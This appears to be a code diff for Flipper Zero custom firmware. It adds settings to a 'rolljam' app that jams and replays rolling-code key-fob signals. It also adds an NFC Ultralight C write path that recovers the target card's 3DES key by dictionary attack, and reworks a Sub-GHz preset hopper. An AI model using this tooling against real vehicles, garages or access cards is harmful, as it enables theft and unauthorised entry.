||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
}
|
||||
@@ -56,6 +97,30 @@ void rolljam_scene_menu_on_enter(void* context) {
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
// --- Jam Offset ---
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
|
||||
s_offset_item = offset_item;
|
||||
enforce_min_offset(app, offset_item);
|
||||
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
// --- Hardware ---
|
||||
VariableItem* hw_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Hardware",
|
||||
HwIndex_COUNT,
|
||||
menu_hw_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(hw_item, app->hw_index);
|
||||
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
|
||||
|
||||
// --- Start button ---
|
||||
variable_item_list_add(
|
||||
app->var_item_list,
|
||||
@@ -76,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
// Clear previous captures
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
enforce_min_offset(app, NULL);
|
||||
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
@@ -90,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
s_offset_item = NULL;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
// Save to .sub file
|
||||
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
// Show sending screen
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
// Transmit second signal
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
@@ -8,8 +8,8 @@ App(
|
||||
"lfrfid",
|
||||
"nfc",
|
||||
"subghz",
|
||||
"subghz_bruteforcer",
|
||||
"rolljam",
|
||||
"subghz_bruteforcer",
|
||||
"archive",
|
||||
"subghz_remote",
|
||||
"main_apps_on_start",
|
||||
|
||||
@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
|
||||
[ArchiveFileTypeBadUsb] = ".txt",
|
||||
[ArchiveFileTypeU2f] = "?",
|
||||
[ArchiveFileTypeApplication] = ".fap",
|
||||
[ArchiveFileTypeJS] = ".js",
|
||||
[ArchiveFileTypeUpdateManifest] = ".fuf",
|
||||
[ArchiveFileTypeFolder] = "?",
|
||||
[ArchiveFileTypeUnknown] = "*",
|
||||
[ArchiveFileTypeAppOrJs] = ".fap|.js",
|
||||
[ArchiveFileTypeSetting] = "?",
|
||||
};
|
||||
|
||||
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
|
||||
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
|
||||
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
|
||||
[ArchiveTabU2f] = ArchiveFileTypeU2f,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeApplication,
|
||||
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
|
||||
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
|
||||
};
|
||||
|
||||
@@ -18,10 +18,8 @@ typedef enum {
|
||||
ArchiveFileTypeU2f,
|
||||
ArchiveFileTypeApplication,
|
||||
ArchiveFileTypeUpdateManifest,
|
||||
ArchiveFileTypeJS,
|
||||
ArchiveFileTypeFolder,
|
||||
ArchiveFileTypeUnknown,
|
||||
ArchiveFileTypeAppOrJs,
|
||||
ArchiveFileTypeSetting,
|
||||
ArchiveFileTypeLoading,
|
||||
} ArchiveFileTypeEnum;
|
||||
|
||||
@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
|
||||
return "U2F";
|
||||
case ArchiveFileTypeUpdateManifest:
|
||||
return "UpdaterApp";
|
||||
case ArchiveFileTypeJS:
|
||||
return "JS Runner";
|
||||
case ArchiveFileTypeFolder:
|
||||
return "Archive";
|
||||
default:
|
||||
|
||||
@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
|
||||
[ArchiveFileTypeFolder] = &I_dir_10px,
|
||||
[ArchiveFileTypeUnknown] = &I_unknown_10px,
|
||||
[ArchiveFileTypeLoading] = &I_loading_10px,
|
||||
[ArchiveFileTypeJS] = &I_js_script_10px,
|
||||
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
|
||||
};
|
||||
|
||||
void archive_browser_set_callback(
|
||||
|
||||
@@ -6,7 +6,7 @@ App(
|
||||
requires=["gui","dialogs"],
|
||||
stack_size=2 * 1024,
|
||||
order=11,
|
||||
fap_icon="images/subbrute_10px.png",
|
||||
fap_icon="icon.png",
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon_assets="images",
|
||||
)
|
||||
|
||||
BIN
applications/main/flipperzero-subbrute/icon.png
Normal file
|
After Width: | Height: | Size: 1.7 KiB |
@@ -14,7 +14,9 @@ enum {
|
||||
SubmenuIndexUnlock = SubmenuIndexCommonMax,
|
||||
SubmenuIndexUnlockByReader,
|
||||
SubmenuIndexUnlockByPassword,
|
||||
SubmenuIndexDictAttack
|
||||
SubmenuIndexDictAttack,
|
||||
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
|
||||
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
|
||||
};
|
||||
|
||||
enum {
|
||||
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
|
||||
if(is_locked ||
|
||||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
|
||||
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
|
||||
data->type != MfUltralightTypeMfulC)) {
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
} else if(data->type == MfUltralightTypeMfulC) {
|
||||
// Replace the generic Write item with two ULC-specific options so the user
|
||||
// can choose whether to keep or overwrite the target card's 3DES key.
|
||||
// This avoids any mid-write dialog/view-switching complexity entirely.
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Keep Key)",
|
||||
SubmenuIndexWriteKeepKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Copy Key)",
|
||||
SubmenuIndexWriteCopyKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
}
|
||||
|
||||
if(is_locked) {
|
||||
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
|
||||
}
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteKeepKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = false;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteCopyKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = true;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
return consumed;
|
||||
@@ -307,12 +335,139 @@ static NfcCommand
|
||||
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
|
||||
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
|
||||
furi_string_reset(instance->text_box_store);
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
|
||||
// Skip auth during the read phase of write - we'll authenticate
|
||||
// against the target card in RequestWriteData using source key or dict attack
|
||||
mf_ultralight_event->data->auth_context.skip_auth = true;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
|
||||
// Dict attack key provider - user dict first, then system dict
|
||||
if(!instance->mf_ultralight_c_dict_context.dict &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
|
||||
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
|
||||
}
|
||||
if(!instance->mf_ultralight_c_dict_context.dict) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictSystem;
|
||||
}
|
||||
}
|
||||
MfUltralightC3DesAuthKey key = {};
|
||||
bool got_key = false;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
if(!got_key &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
|
||||
// Exhausted user dict, switch to system dict
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
}
|
||||
if(got_key) {
|
||||
mf_ultralight_event->data->key_request_data.key = key;
|
||||
mf_ultralight_event->data->key_request_data.key_provided = true;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"Trying dict key: "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
key.data[0],
|
||||
key.data[1],
|
||||
key.data[2],
|
||||
key.data[3],
|
||||
key.data[4],
|
||||
key.data[5],
|
||||
key.data[6],
|
||||
key.data[7],
|
||||
key.data[8],
|
||||
key.data[9],
|
||||
key.data[10],
|
||||
key.data[11],
|
||||
key.data[12],
|
||||
key.data[13],
|
||||
key.data[14],
|
||||
key.data[15]);
|
||||
} else {
|
||||
mf_ultralight_event->data->key_request_data.key_provided = false;
|
||||
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictExhausted;
|
||||
}
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
|
||||
mf_ultralight_event->data->write_data =
|
||||
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
|
||||
// Reset dict context so RequestKey starts fresh for the write-phase auth
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
|
||||
// Apply the user's key choice - read from static, not scene state (scene manager
|
||||
// resets state to 0 on scene entry, wiping any value set before next_scene).
|
||||
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
|
||||
mf_ultralight_event->data->write_key_skip = keep_key;
|
||||
|
||||
if(mf_ultralight_event->data->key_request_data.key_provided) {
|
||||
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: target key = "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
found_key.data[0],
|
||||
found_key.data[1],
|
||||
found_key.data[2],
|
||||
found_key.data[3],
|
||||
found_key.data[4],
|
||||
found_key.data[5],
|
||||
found_key.data[6],
|
||||
found_key.data[7],
|
||||
found_key.data[8],
|
||||
found_key.data[9],
|
||||
found_key.data[10],
|
||||
found_key.data[11],
|
||||
found_key.data[12],
|
||||
found_key.data[13],
|
||||
found_key.data[14],
|
||||
found_key.data[15]);
|
||||
}
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: decision = %s (copy_key=%d)",
|
||||
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
|
||||
"OVERWRITE with source key (pages 44-47 WILL be written)",
|
||||
(int)instance->mf_ultralight_c_write_context.copy_key);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
|
||||
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
|
||||
@@ -323,6 +478,7 @@ static NfcCommand
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
|
||||
furi_string_reset(instance->text_box_store);
|
||||
@@ -334,9 +490,18 @@ static NfcCommand
|
||||
}
|
||||
|
||||
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
|
||||
// Free any dict the write callback opened (dict_state != Idle means we own it).
|
||||
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
|
||||
// is safe here too — but the state enum is the authoritative ownership record.
|
||||
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
|
||||
instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
|
||||
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
|
||||
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
|
||||
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
|
||||
}
|
||||
|
||||
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {
|
||||
|
||||
@@ -126,6 +126,18 @@ typedef struct {
|
||||
size_t dict_keys_current;
|
||||
} NfcMfUltralightCDictContext;
|
||||
|
||||
typedef enum {
|
||||
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
|
||||
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
|
||||
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
|
||||
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
|
||||
} NfcMfUltralightCWriteDictState;
|
||||
|
||||
typedef struct {
|
||||
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
|
||||
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
|
||||
} NfcMfUltralightCWriteContext;
|
||||
|
||||
struct NfcApp {
|
||||
DialogsApp* dialogs;
|
||||
Storage* storage;
|
||||
@@ -165,6 +177,7 @@ struct NfcApp {
|
||||
SlixUnlock* slix_unlock;
|
||||
NfcMfClassicDictAttackContext nfc_dict_context;
|
||||
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
|
||||
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
|
||||
Mfkey32Logger* mfkey32_logger;
|
||||
MfUserDict* mf_user_dict;
|
||||
MfClassicKeyCache* mfc_key_cache;
|
||||
|
||||
@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
|
||||
// Set attack type to Ultralight C
|
||||
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
|
||||
|
||||
// Guard: if a previous write phase left a dict handle open, close it now.
|
||||
// Without this, navigating write->back->read->dict-attack would open the same
|
||||
// file twice, corrupting VFS state and causing a ViewPort lockup.
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
}
|
||||
|
||||
if(state == DictAttackStateUserDictInProgress) {
|
||||
do {
|
||||
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
DictAttackStateUserDictInProgress);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
|
||||
instance->mf_ultralight_c_dict_context.auth_success = false;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
#include "subghz_txrx_i.h" // IWYU pragma: keep
|
||||
|
||||
#include <math.h>
|
||||
#include <lib/subghz/protocols/protocol_items.h>
|
||||
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
|
||||
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
|
||||
@@ -34,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
|
||||
instance->txrx_state = SubGhzTxRxStateSleep;
|
||||
|
||||
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
|
||||
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
|
||||
instance->preset_hopper_idx = 0;
|
||||
instance->preset_hopper_timeout = 0;
|
||||
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
|
||||
subghz_txrx_set_debug_pin_state(instance, false);
|
||||
|
||||
@@ -494,52 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
|
||||
}
|
||||
}
|
||||
|
||||
#define SUBGHZ_MOD_HOPPER_DWELL_TICKS 3
|
||||
|
||||
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
|
||||
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
|
||||
furi_assert(instance);
|
||||
return instance->mod_hopper_running;
|
||||
}
|
||||
|
||||
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running) {
|
||||
furi_assert(instance);
|
||||
instance->mod_hopper_running = running;
|
||||
if(running) instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
|
||||
}
|
||||
|
||||
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
if(!instance->mod_hopper_running) return;
|
||||
|
||||
if(instance->mod_hopper_timer > 0) {
|
||||
instance->mod_hopper_timer--;
|
||||
switch(instance->preset_hopper_state) {
|
||||
case SubGhzPresetHopperStateOFF:
|
||||
case SubGhzPresetHopperStatePause:
|
||||
return;
|
||||
case SubGhzPresetHopperStateRSSITimeOut:
|
||||
if(instance->preset_hopper_timeout != 0) {
|
||||
instance->preset_hopper_timeout--;
|
||||
return;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
|
||||
|
||||
size_t count = subghz_setting_get_preset_count(instance->setting);
|
||||
if(count == 0) return;
|
||||
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
|
||||
float rssi = subghz_devices_get_rssi(instance->radio_device);
|
||||
|
||||
// Advance index, skip CUSTOM presets
|
||||
uint8_t tries = 0;
|
||||
do {
|
||||
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
|
||||
tries++;
|
||||
} while(tries < count &&
|
||||
strcmp(
|
||||
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
|
||||
"CUSTOM") == 0);
|
||||
if(rssi > stay_threshold) {
|
||||
instance->preset_hopper_timeout = 20;
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
|
||||
}
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
|
||||
uint8_t* preset_data =
|
||||
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
|
||||
size_t preset_data_size =
|
||||
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
|
||||
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
|
||||
subghz_txrx_rx_start(instance);
|
||||
if(hopper_preset_count > 0) {
|
||||
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
|
||||
instance->preset_hopper_idx++;
|
||||
} else {
|
||||
instance->preset_hopper_idx = 0;
|
||||
}
|
||||
|
||||
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
|
||||
instance->setting, instance->preset_hopper_idx);
|
||||
|
||||
if(instance->txrx_state == SubGhzTxRxStateRx) {
|
||||
subghz_txrx_rx_end(instance);
|
||||
}
|
||||
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
|
||||
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, actual_preset_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
} else {
|
||||
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
|
||||
if(instance->preset_hopper_idx < preset_count - 1) {
|
||||
instance->preset_hopper_idx++;
|
||||
} else {
|
||||
instance->preset_hopper_idx = 0;
|
||||
}
|
||||
|
||||
if(instance->txrx_state == SubGhzTxRxStateRx) {
|
||||
subghz_txrx_rx_end(instance);
|
||||
}
|
||||
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
|
||||
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
return instance->preset_hopper_state;
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
|
||||
furi_assert(instance);
|
||||
instance->preset_hopper_state = state;
|
||||
|
||||
if(state == SubGhzPresetHopperStateRunning) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
|
||||
furi_assert(instance);
|
||||
instance->preset_hopper_idx = index;
|
||||
}
|
||||
|
||||
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {
|
||||
|
||||
@@ -164,29 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
